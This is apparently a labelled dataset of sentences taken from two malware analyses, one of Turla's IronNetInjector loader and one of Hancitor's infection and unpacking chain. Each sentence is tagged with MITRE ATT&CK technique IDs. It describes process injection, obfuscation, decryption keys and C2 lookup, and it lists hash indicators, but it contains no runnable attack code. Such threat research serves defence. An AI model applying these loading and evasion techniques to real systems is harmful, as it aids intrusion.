{"sentence": "Categorized IronPython samples according to VirusTotal submitters and their assumed payloads.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "It becomes clear that IronNetInjector is mostly used to load ComRAT.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "In one case, a variant of the RPC backdoor is used and in another a payload that we couldn’t associate with known malware.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "We also couldn’t verify how the IronPython scripts get run in the first place.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "One of the submitters uploaded a 7-Zip archive with the contents of the IronPython MSI file of version 2.7.0.40 from 2011.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "This archive also contains two IronPython scripts (see table) and a Windows task XML file named mssch.xml with the following content: Figure 2.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Windows task XML file for IronNetInjector.", "labels": ["T1053.005"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The task is used to start an IronPython script with the 64-bit version of the interpreter.", "labels": ["T1053.005"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "As a command line argument, the Rijndael decryption key is passed.", "labels": ["T1059.003", "T1140"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "However, the key didn’t decrypt on any of the embedded files in the scripts we found.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The task’s description is PythonUpdateSrvc and it runs either on Windows startup when a user logs in or when one of two system events get created: Figure 3.", "labels": ["T1053.005"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "IronNetInjector task triggers.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Depending on the system, the event with ID 8001 belongs to Microsoft Internet Information Services (IIS), Microsoft Exchange Server or Windows Server (Source: Netsurion EventTracker).", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The other event with ID 5324 is likely related to the logoff from Winlogon.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Both triggers only happen when these events appear in the Microsoft-Windows-GroupPolicy(/Operational) event logs.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "When we consider that the files in the 7-Zip archive were all taken from the same directory, we can make some assumptions.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The attacker might have used the IronPython MSI to install the interpreter to C:\\ProgramData\\IronPython-2.7 on the victim’s system.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The IronPython scripts and the Windows task XML were placed in the same directory.", "labels": ["T1053.005"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The task file is then used to create a task which in turn starts a script when triggered.", "labels": ["T1053.005"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "However, it’s also possible that the submitter collected the files from different places and just bundled them into an archive for scanning purposes.", "labels": ["T1005"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "It’s also unclear why the attacker would use such an old version of IronPython.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "A Brief Walkthrough Let’s go briefly through the execution flow based on one of the scripts of VirusTotal submitter 4 that contains the 2019 variant of the injector and a ComRAT variant (SHA256: 3aa37559ef282ee3ee67c4a61ce4786e38d5bbe19bdcbeae0ef504d79be752b6).", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "When an IronPython script is run, it is loaded into the IronPython interpreter.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "In the IronPython script, the embedded .NET injector (SHA256: a56f69726a237455bac4c9ac7a20398ba1f50d2895e5b0a8ac7f1cdb288c32cc) and ComRAT DLL payload (SHA256: a62e1a866bc248398b6abe48fdb44f482f91d19ccd52d9447cda9bc074617d56) get decoded and decrypted.", "labels": ["T1027", "T1140"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "This is done with the Python Base64 module and the RijndaelManaged class from the C# cryptography namespace.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The decryption key is passed as an argument to the IronPython script.", "labels": ["T1140"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The Rijndael initialization vector (IV) is stored in the script.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Next, the .NET injector gets loaded into the IronPython process with the help of the Assembly.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Load() method of the C# Reflection namespace.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "That’s possible because IronPython itself is a .NET assembly and thus its process already contains all the .NET runtime libraries.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "After the injector assembly is loaded, the ID of the process where the ComRAT DLL gets injected is retrieved.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "In this case, the explorer.exe was chosen.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "This routine to get the PID slightly differs in the IronPython scripts we found.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "While one script uses the C# method GetProcessesByName() to get the PID, the other scripts run the Windows tool tasklist.exe with the help of the Python os.popen() function.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The output is then parsed to the targeted process ID with the help of tasklist filters.", "labels": ["T1057"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Also, some scripts filter the PID based on a Windows service name.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "When the PID is found, an instance of the injector assembly is created and the ComRAT payload bytes and PID are passed.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "PID retrieval function variations in the different IronPython scripts.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Finally, the injector’s public methods Invoke() and InvokeVoid() get called.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "In the latter, the exported function name VFEP of the ComRAT payload gets passed.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "From this point on, the .NET injector takes control over the further execution.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The .NET injector contains the following namespaces: DefaultSerializer PeNet PeNet.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Parser PeNet.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Structures PeNet.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Structures.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "MetaDataTables PeNet.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "MetaDataTables.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Parsers PeNet.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Utilities While the PeNet code is copied from the project, the namespace DefaultSerializer contains the injector code and is made of the following classes: DefaultSerializer: Contains the injector code.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "NetBootstrapper:", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Contains 32-/64-bit bootstrappers to load an assembly into an unmanaged process.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Win32:", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Contains the imported unmanaged function declarations and win32 structures/constants.", "labels": ["T1106"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The DefaultSerializer class exposes four public methods: InjectAssembly Invoke InvokeAssemblyMethod InvokeVoid These methods are used pairwise.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The method InjectAssembly is used to inject a .NET assembly into a native process (or its own) and InvokeAssemblyMethod to call any chosen method of the injected assembly.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The method Invoke is used to inject a native PE into a remote process and InvokeVoid to call any exported function of the injected payload.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Decompiled NetInjector code.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Depending on the number of arguments passed to DefaultSerializer on creation time, the payload is either loaded into its own process or a remote one.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "In case only the payload bytes are passed, it gets loaded into its own process space.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The other options are to also pass the ID or handle of the remote process the payload gets injected to.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "In our case, the second option is used with the PID of explorer.exe to load the ComRAT payload reflectively into the process.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "One other interesting aspect of the injector is its ability to load an assembly into an unmanaged process.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "This needs some preparation in the remote process, as you cannot simply load and execute a .NET assembly there if the CLR isn’t present.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "This is accomplished with a native bootstrapper DLL, which gets injected into the remote process and prepares it so a .NET assembly can be injected afterwards.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "There are two bootstrappers (x86/64) contained in the NetBootstrapper class, which have the following PDB paths left: F:\\Dev\\NetInjector\\bin\\Release\\NetBootstrapper_Win32.pdb F:\\Dev\\NetInjector\\bin\\Release\\NetBootstrapper_x64.pdb Just like the injector itself, the bootstrappers contain meaningful function names (exported functions) and useful log messages.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "It uses the following exported functions:", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Bootstrap: Load CLR services into process.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "GetMethodResult:", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Get method result from InvokeMethod.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "InvokeMethod: Call method of injected assembly passed as a parameter.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "LoadAssembly: Load .NET assembly passed as a parameter.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "StartClrRuntime:", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Same as Bootstrap.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "These functions are called from the injector to prepare and load a .NET assembly payload from the IronPython script into a remote process.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "In all the IronPython scripts we found, only the native payload to native remote process injection option is used.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Conclusion IronNetInjector is another toolset in Turla’s ever-growing arsenal, made of an IronPython script and an injector.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "It’s similar in structure to the previously used in-memory loading mechanism to execute malware with the help of PowerShell scripts.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "These scripts contain an embedded PE loader to execute an embedded malware payload.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The tool we discussed in this blogpost was likely developed to move away from PowerShell towards .NET.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "This general trend can be seen in recent years as detection of Powershell based threats became better, but also due to security mechanisms like AMSI introduced by Microsoft.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The .NET injectors and bootstrappers contain clean code and meaningful function/method/variable names, and they use detailed log/error messages.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Only the initial IronPython scripts are obfuscated to prevent easy detection.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "There are still some questions we need answers for, such as what other samples get loaded beside ComRAT and the RPC backdoor?", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "How do the IronPython scripts get run?", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "And how is the interpreter deployed to a victim’s system?", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "We will continue to monitor for this malware loading tool to get the missing pieces of the puzzle.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Palo Alto Networks customers are protected from this malware tool.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Our threat prevention platform WildFire detects it as malicious.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Our extended detection and response platform Cortex XDR can identify and block the malware execution.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "AutoFocus customers can track the activity with the tag “IronNetInjector”.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Indicators of Compromise IronPython scripts b641687696b66e6e820618acc4765162298ba3e9106df4ef44b2218086ce8040 (prophile.py, submitter 1) c430ebab4bf827303bc4ad95d40eecc7988bdc17cc139c8f88466bc536755d4e (profilec.py, submitter 1) c1b8ecce81cf4ff45d9032dc554efdc7a1ab776a2d24fdb34d1ffce15ef61aad (profile.py, submitter 2) 8df0c705da0eab20ba977b608f5a19536e53e89b14e4a7863b7fd534bd75fd72 (10profilec.py, submitter 3) b5b4d06e1668d11114b99dbd267cde784d33a3f546993d09ede8b9394d90ebb3 (120profilec.py, submitter 3) b095fd3bd3ed8be178dafe47fc00c5821ea31d3f67d658910610a06a1252f47d (220profile.py, submitter 3) 3aa37559ef282ee3ee67c4a61ce4786e38d5bbe19bdcbeae0ef504d79be752b6 (profilec.py, submitter 4) Injector samples a56f69726a237455bac4c9ac7a20398ba1f50d2895e5b0a8ac7f1cdb288c32cc (2019 variant, submitter 4) c59fadeb8f58bbdbd73d9a2ac0d889d1a0a06295f1b914c0bd5617cfb1a08ce9 (2018 variant, submitter 5) Bootstrapper samples 63d7695dabefb97aa30cbe522647c95395b44321e1a3b08b8028e4000d1be15e ba17af72a9d90822eed447b8526fb68963f0cde78df07c16902dc5a0c44536c4 Related samples 82333533f7f7cb4123bceee76358b36d4110e03c2219b80dced5a4d63424cc93 (IronPython-2.7.7z, submitter 1) a62e1a866bc248398b6abe48fdb44f482f91d19ccd52d9447cda9bc074617d56 (ComRAT v4 variant, submitter 4) 18c173433daafcc3aea17fc4f7792d0ff235f4075a00feda88aa1c9f8f6e1746 (RPC backdoor variant, submitter 5) a64e79a81b5089084ff88e3f4130e9d5fa75e732a1d310a1ae8de767cbbab061 (RPC backdoor variant, submitter 5) Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "In this article, we describe how Hancitor compromises systems based on its infection chain observed in January and February 2021.", "labels": ["T1027"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "We cover its unpacking routine, information gathering and command and control (C2) functions, and payload execution techniques.", "labels": ["T1027"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The malware Hancitor Hancitor (aka Chanitor) is a downloader which is used to gain initial access to a victim’s computer.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Its main purpose is to download and execute a second stage malware payload from one of multiple encrypted URLs contained in the malware itself.", "labels": ["T1027", "T1105"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "This downloader was first seen in 2014 commonly deploying Pony and Vawtrak malware.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Like many other malware families we saw Hancitor become active again in early 2021 following the festive period.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The first Hancitor malicious spam wave of 2021 started on 12 January, where the malware was distributed as email Word document attachments.", "labels": ["T1566.001"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Since then, almost every workday we have seen Hancitor activity.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Word Dropper used by Hancitor On Tuesday 12 January, phishing emails with hyperlinks leading to Word documents reached users’ inboxes.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The Word documents were droppers that install and execute the Hancitor downloader.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "When opened, the user sees a social engineering image telling them that they must click the “Enable editing” button to see the document’s contents.", "labels": ["T1204.002"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Figure 1 – Word document lure requesting the user to run the VBA macro.", "labels": ["T1204.002"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Analyzing the attachment using oledump shows that not only VBA macros but also an Object Linking and Embedding (OLE) object are embedded in the document.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "To find out how the OLE object is used and how the malware infection happens, we analyzed the VBA macros using Word’s developer tools. Figure 2 – Output from oledump showing the VBA macro in the Word document.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The VBA code is distributed over several different modules inside the document and is executed by the Document.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Open event.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The OLE object is then saved with a “.tmp” file extension into one of the local temp folders under “C:\\Users\\[username]\\AppData\\Local\\Temp”.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "As the VBA code does not know where the file was stored, it then recursively searches through all local temp folders.", "labels": ["T1083"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Figure 3 – VBA macro which moves the tmp file to the templates folder as a DLL.", "labels": ["T1036.005"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Once the “.tmp” file is found, it is moved and renamed to the Office templates folder (C:\\Users\\username\\AppData\\Roaming\\Microsoft\\Templates) as “W0rd.dll” and loaded using rundll32.exe.", "labels": ["T1036.005", "T1218.011"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "As a second argument, the macro passes the entry function “DllUnregisterServer” to rundll32.exe so that the execution starts correctly.", "labels": ["T1218.011"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Figure 4 – VBA macro which runs rundll32.exe to load the malware.", "labels": ["T1027", "T1218.011"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Packed DLL analysis Briefly looking at the DLL characteristics shows that there are two unknown sections, which could be an indicator of packing being used to obfuscate the malware.", "labels": ["T1027"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Opening the DLL in a debugger and running through the program, focusing on what is happening with the suspicious sections confirms that there is indeed some sort of unpacking happening.", "labels": ["T1027"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Figure 5 – Sections of the PE file (“W0rd.dll”).", "labels": ["T1027"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Although the unpacking procedure happens in multiple steps, it can be described in two broad stages: Decryption Stage 1 First, the malware allocates new memory which is used to copy the data from section “.rdata4” into it.", "labels": ["T1027"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The data, however, is not copied identically from the section to the new memory region because the bytes containing 0x21 are omitted.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "As soon as the copy operation is finished, the decryption process starts.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The first four bytes at the beginning of the newly allocated memory indicate the length of the data that will be decrypted.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The algorithm to decrypt the data is simple.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "It uses an XOR operation with the key and plaintext being incremented after each four-byte operation.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "To start, the key is initialized with 0xD508.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "A replication of this algorithm, written in Python, can be found in our GitHub repository.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Figure 6 – Data view of the section containing the encrypted malware.", "labels": ["T1027", "T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Looking at the decrypted data and the behavior of the program, we can see that there are multiple areas containing different types of information.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The names of Windows API functions are stored in the first 150 bytes.", "labels": ["T1027", "T1106"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The area after this contains encrypted data.", "labels": ["T1027"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Finally, the executable code used to decrypt the encrypted data is located at the end of the section.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Figure 7 shows the structure of the memory section.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Figure 7 – Structure of the encrypted section.", "labels": ["T1027", "T1106"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The API function located at the beginning of the memory section are resolved using GetProcAddress.", "labels": ["T1106"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "However, instead of being resolved within kernel32.dll, they are resolved in kernelbase.dll.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "This is important to note because when debugging Hancitor samples, breakpoints are most commonly set on functions from kernel32.dll and thus would not be triggered during execution.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "After resolving the functions, the second decryption stage occurs.", "labels": ["T1027", "T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Decryption Stage 2 As indicated", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": ", the decrypted memory structure contains executable code.", "labels": ["T1027", "T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "As expected, the instruction pointer jumps directly to this section, which also contains the decryption algorithm for the second stage.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Before the decryption starts, new memory is allocated and the encrypted data from stage 1 is copied to it.", "labels": ["T1027", "T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The decryption algorithm of stage 2 is generally the same, but uses 0x3E9 as the initialization key.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The output of this decryption leads us to a PE file.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Figure 8 – Overview of Hancitor’s decryption procedure.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The copy procedure is done section by section to bring the executable into the loaded form.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "This technique is called self-injection or PE overwrite.", "labels": ["T1055"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "To make the new image runnable, several Windows API functions are resolved using GetProcAddress and directly patched into the memory of the loaded executable.", "labels": ["T1027", "T1106"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "These function addresses vary from installation to installation, so this patching cannot be done by a static unpacker.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "For all the other decryption procedures described, you can find a static unpacker script in our GitHub repository.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "To effectively run the new payload, a return to the correct DLL entry point is made.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "It is important to note that the AddressOfEntryPoint in the optional header does not match the exported functions DllRegisterServer or DllUnregisterServer and it is necessary to run one of the exported functions to start the malware.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "When using x32dbg to analyze the sample, simply patching the AddressOfEntryPoint to one of the exported functions makes the DLL runnable.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Running Hancitor Malware As soon as the unpacked executable is running, the malware gathers information about the infected system.", "labels": ["T1027"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The following disassembly shows calls to multiple functions used to collect the information.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Figure 9 – x86 disassembly of Hancitor’s information gathering function.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "First, the malware calls a function we named “getComputerInfo”.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "This function obtains the username, the computer name and the domain of infected system.", "labels": ["T1033", "T1082"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The subsequent functions collect additional information such as the machine’s public IP address, domain trust information and the computer architecture.", "labels": ["T1016", "T1082"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The malware identifies the computer’s public IP address by making a HTTP GET request to “hxxp://api.ipify[.]org”, a free public IP address API.", "labels": ["T1071.001"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "All the collected information is then put together into a query string which is generated based on the computer architecture.", "labels": ["T1082"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Figure 10 – Query string containing system information before being sent to the C2.", "labels": ["T1041", "T1573.001"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "To determine the command and control (C2) servers waiting for the data to be sent to, the malware calls a decryption function that uses the RC4 algorithm to get a list of potential C2 URLs.", "labels": ["T1140", "T1573.001"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Figure 11 – URL and build decryption function.", "labels": ["T1071.001", "T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
